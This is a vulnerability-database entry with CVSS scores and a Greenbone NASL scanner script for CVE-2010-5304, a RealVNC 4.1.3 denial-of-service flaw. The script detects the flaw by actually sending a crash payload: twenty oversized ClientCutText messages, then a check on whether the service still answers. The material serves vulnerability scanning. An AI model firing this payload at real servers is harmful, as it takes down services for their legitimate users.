CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS
Percentile
85.3%
RealVNC Viewer is prone to a remote denial-of-service vulnerability.
# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.100622");
script_version("2023-07-21T05:05:22+0000");
script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
script_tag(name:"creation_date", value:"2010-05-04 19:30:07 +0200 (Tue, 04 May 2010)");
script_cve_id("CVE-2010-5304");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2020-02-07 19:45:00 +0000 (Fri, 07 Feb 2020)");
script_name("RealVNC 4.1.3 'ClientCutText' Message Remote Denial of Service Vulnerability");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/39895");
script_tag(name:"qod_type", value:"remote_analysis");
script_category(ACT_DENIAL);
script_family("Denial of Service");
script_copyright("Copyright (C) 2010 Greenbone AG");
script_dependencies("vnc.nasl");
script_require_ports("Services/vnc", 5900, 5901, 5902);
script_mandatory_keys("vnc/detected");
script_tag(name:"summary", value:"RealVNC Viewer is prone to a remote denial-of-service vulnerability.");
script_tag(name:"impact", value:"An attacker can exploit this issue to crash the affected application,
denying service to legitimate users.");
script_tag(name:"affected", value:"RealVNC 4.1.3 is vulnerable. Other versions may also be affected.");
script_tag(name:"solution_type", value:"WillNotFix");
script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
release, disable respective features, remove the product or replace the product by another one.");
exit(0);
}
include("port_service_func.inc");
port = service_get_port(default:5900, proto:"vnc");
soc = open_sock_tcp(port);
if(!soc)exit(0);
buf = recv(socket:soc, length:8192);
if(isnull(buf) || "RFB" >!< buf) {
close(soc);
exit(0);
}
send(socket:soc, data:buf);
buf = recv(socket:soc, length:8192);
if(isnull(buf)) {
close(soc);
exit(0);
}
send(socket:soc, data:raw_string(0x01));
buf = recv(socket:soc, length:8192);
if(strlen(buf) == 4 &&
ord(buf[0]) == 0 &&
ord(buf[1]) == 0 &&
ord(buf[2]) == 0 &&
ord(buf[3]) == 0) { # SecurityResult OK. The server must be set to No Authentication for this to work
send(socket:soc, data:raw_string(0x01));
txt = crap(data:raw_string(0xAA),length:4000);
exploit = raw_string(0x06,0x00,0x00,0x00) + txt;
for(i=0;i<20;i++) {
send(socket:soc, data:exploit);
}
if(soc)
close(soc);
soc1 = open_sock_tcp(port);
if(!soc1) {
security_message(port:port);
exit(0);
}
buf = recv(socket:soc1, length:8192);
if(buf == NULL) {
security_message(port:port);
exit(0);
} else {
close(soc1);
}
} else {
close(soc);
exit(0);
}
exit(0);
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS
Percentile
85.3%